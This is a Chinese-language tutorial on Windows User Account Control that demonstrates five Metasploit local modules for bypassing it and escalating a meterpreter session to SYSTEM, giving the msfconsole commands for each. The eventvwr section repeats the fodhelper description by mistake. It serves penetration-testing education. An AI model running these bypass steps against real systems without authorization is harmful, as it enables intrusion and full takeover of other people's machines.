安全 | 利用metasploit繞過(guò)UAC的5種方式
大家好,今天,我們將淺析用戶帳戶控制(簡(jiǎn)稱UAC)。我們還將了解它如何保護(hù)你免受惡意軟件的入侵,如若忽略UAC提示,可能會(huì)對(duì)你的系統(tǒng)造成不良影響。
一、用戶賬戶控制(UAC)介紹
1. 什么是用戶賬戶控制?
在Microsoft Windows Vista和Windows Server 2008操作系統(tǒng)中引入了結(jié)構(gòu)良好的用戶帳戶控制,因?yàn)椴槐匾南到y(tǒng)范圍的更改是難以避免的,而UAC策略可以防止這種更改,并且只需要很少的工作量。
換句話說(shuō),它是Windows的一項(xiàng)安全功能,它可以讓我來(lái)防止對(duì)操作系統(tǒng)進(jìn)行未經(jīng)授權(quán)的修改。UAC確保某些修改只能在administrator授權(quán)下才能進(jìn)行。如果administrator不允許更改,則不會(huì)執(zhí)行這些更改,Windows保持不變。
2. UAC工作原理?
UAC阻止程序執(zhí)行涉及系統(tǒng)更改/特定任務(wù)的任何任務(wù)。除非嘗試執(zhí)行它們的進(jìn)程以管理員權(quán)限運(yùn)行,否則這些操作將無(wú)法運(yùn)行。如果以管理員身份運(yùn)行程序,它會(huì)具有更多權(quán)限,因?yàn)榕c未以管理員身份運(yùn)行的程序相比,它的權(quán)限得到了提升。
沒(méi)有管理員權(quán)限就無(wú)法完成的一些事情:
- 注冊(cè)表修改(如果注冊(cè)表項(xiàng)在HKEY_LOCAL_MACHINE下(因?yàn)樗绊懚鄠€(gè)用戶),它將是只讀的)
- 加載設(shè)備驅(qū)動(dòng)程序
- DLL注入
- 修改系統(tǒng)時(shí)間(時(shí)鐘)
- 修改用戶帳戶控制設(shè)置(通過(guò)注冊(cè)表,可以啟用/禁用它,但你需要正確的權(quán)限才能執(zhí)行此操作)
- 修改受保護(hù)的目錄(例如Windows文件夾,Program Files)
- 計(jì)劃任務(wù)(例如,以管理員權(quán)限自動(dòng)啟動(dòng))
UAC不會(huì)自動(dòng)阻止惡意軟件,目的并不是判斷程序是否是惡意軟件。是不是惡意軟件還是得取決于用戶。如果要以管理員權(quán)限執(zhí)行程序,UAC將提醒用戶并且需要用戶進(jìn)行確認(rèn)。
二、繞過(guò)UAC的5種方法
首先對(duì)目標(biāo)機(jī)器進(jìn)行漏洞利用以獲取meterpreter會(huì)話。獲得meterpreter會(huì)話1后,輸入以下命令以檢查系統(tǒng)權(quán)限和特權(quán)。
- getsystem
- getuid
如果你沒(méi)有系統(tǒng)/管理員權(quán)限,那么你就需要繞過(guò)目標(biāo)系統(tǒng)的UAC保護(hù)。
1. Windows升級(jí)UAC保護(hù)繞過(guò)
此模塊將通過(guò)進(jìn)程注入利用受信任的發(fā)布者證書繞過(guò)Windows UAC。這將產(chǎn)生第二個(gè)shell,而且UAC保護(hù)已經(jīng)關(guān)閉。
- msf > use exploit/windows/local/bypassuac
- msf exploit windows/local/bypassuac) > set session 1
- msf exploit(windows/local/bypassuac) > exploit
從下圖可以看到,又建立了一個(gè)meterpreter會(huì)話2連接,現(xiàn)在輸入getsystem和getuid兩條命令來(lái)查看系統(tǒng)權(quán)限:
太好了,我們獲得了NT AUTHORITY\SYSTEM權(quán)限。現(xiàn)在你只要輸入shell命令,你就會(huì)進(jìn)入一個(gè)具有管理員權(quán)限的命令行窗口。
2. Windows升級(jí)UAC保護(hù)繞過(guò)(內(nèi)存注入)
此模塊將通過(guò)進(jìn)程注入利用受信任的發(fā)布者證書繞過(guò)Windows UAC。這將產(chǎn)生第二個(gè)shell,而且UAC保護(hù)已經(jīng)關(guān)閉。此模塊使用反射DLL注入技術(shù)僅刪除DLLpayload二進(jìn)制文件而不是刪除標(biāo)準(zhǔn)技術(shù)中的三個(gè)單獨(dú)的二進(jìn)制文件。但是,它需要選擇正確的體系結(jié)構(gòu)(對(duì)于SYSWOW64系統(tǒng)也使用x64)。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動(dòng)payload后調(diào)用ExitProcess()。
- msf > use exploit/windows/local/bypassuac_injection
- msf exploit(windows/local/bypassuac_injection) > set session 1
- msf exploit(windows/local/bypassuac_injection) > exploit
從下圖中可以看出,meterpreter 會(huì)話2已經(jīng)成功打開(kāi),現(xiàn)在輸入getsystem和getuid兩條命令來(lái)查看權(quán)限。
最終,你也會(huì)拿到NT AUTHORITY\SYSTEM權(quán)限,現(xiàn)在只需要輸入shell命令,就可以進(jìn)入一個(gè)具有管理員權(quán)限的命令行窗口。
3. Windows升級(jí)UAC保護(hù)繞過(guò)(FodHelper注冊(cè)表鍵值繞過(guò))
此模塊將通過(guò)在當(dāng)前用戶配置單元下劫持注冊(cè)表中的特殊鍵并插入將在啟動(dòng)Windows fodhelper.exe應(yīng)用程序時(shí)調(diào)用的自定義命令來(lái)繞過(guò)Windows 10 UAC。這將產(chǎn)生第二個(gè)shell,而且UAC保護(hù)已經(jīng)關(guān)閉。此模塊修改注冊(cè)表項(xiàng),但在調(diào)用payload后清除該項(xiàng)。該模塊不要求payload的結(jié)構(gòu)與OS匹配。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動(dòng)payload后調(diào)用ExitProcess()。
- msf > use exploit/windows/local/bypassuac_fodhelper
- msf exploit(windows/local/bypassuac_fodhelper) > set session 1
- msf exploit(windows/local/bypassuac_fodhelper) > exploit
從下圖中,可以看到,meterpreter會(huì)話2已經(jīng)成功打開(kāi),輸入getsystem和getuid兩條命令來(lái)查看權(quán)限
非常不錯(cuò),我們獲得了NT AUTHORITY\SYSTEM權(quán)限,輸入shell命令,就能拿到管理員的命令行窗口了。
4. Windows升級(jí)UAC保護(hù)繞過(guò)(Eventvwr注冊(cè)表鍵值繞過(guò))
此模塊將通過(guò)在當(dāng)前用戶配置單元下劫持注冊(cè)表中的特殊鍵并插入自定義命令,這個(gè)命令將在啟動(dòng)Windows fodhelper.exe應(yīng)用程序時(shí)調(diào)用來(lái)繞過(guò)Windows 10 UAC。這將產(chǎn)生第二個(gè)shell,而且UAC保護(hù)已經(jīng)關(guān)閉。此模塊修改注冊(cè)表項(xiàng),但在調(diào)用payload后清除該項(xiàng)。該模塊不要求payload的結(jié)構(gòu)與OS匹配。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動(dòng)payload后調(diào)用ExitProcess()。
執(zhí)行命令如下:
- msf > use exploit/windows/local/bypassuac_eventvwr
- msf exploit(windows/local/bypassuac_eventvwr) > set session 1
- msf exploit(windows/local/bypassuac_eventvwr) > exploit
從下圖中,可以看到,meterpreter會(huì)話2已經(jīng)上線,輸入getsystem和getuid兩條命令來(lái)查看是否是system權(quán)限。
再一次,我們獲取了NT AUTHORITY\SYSTEM權(quán)限。
5. Windows升級(jí)UAC保護(hù)繞過(guò)(COM Handler劫持繞過(guò))
此模塊將通過(guò)在HKCU配置單元中創(chuàng)建COM處理程序注冊(cè)表項(xiàng)來(lái)繞過(guò)Windows UAC。加載某些高完整性進(jìn)程時(shí),會(huì)引用這些注冊(cè)表項(xiàng),從而導(dǎo)致進(jìn)程加載用戶控制的DLL。這些DLL包含導(dǎo)致會(huì)話升級(jí)的payload。在payload調(diào)用后清除注冊(cè)表項(xiàng)修改。
此模塊要求payload的體系結(jié)構(gòu)與OS匹配,但當(dāng)前的低權(quán)限Meterpreter會(huì)話的體系結(jié)構(gòu)并不相同。如果指定EXE :: Custom,你的DLL應(yīng)該在單獨(dú)的進(jìn)程中啟動(dòng)payload后調(diào)用ExitProcess()。此模塊通過(guò)目標(biāo)上的cmd.exe調(diào)用目標(biāo)二進(jìn)制文件。因此,如果限制cmd.exe訪問(wèn),則此模塊將無(wú)法正常運(yùn)行。
- msf > use exploit/windows/local/bypassuac_comhijack
- msf exploit(windows/local/bypassuac_comhijack) > set session 1
- msf exploit(windows/local/bypassuac_comhijack) > exploit
如下圖所示,meterpreter會(huì)話2已經(jīng)建立連接,輸入getsystem和getuid兩條命令來(lái)查看是否是system權(quán)限。
最終,還是得到了NT AUTHORITY\SYSTEM權(quán)限,同理,輸入shell獲取管理員權(quán)限的命令窗口。如此一來(lái),我們便借助了metasploit 后滲透漏洞利用來(lái)繞過(guò)UAC保護(hù)了。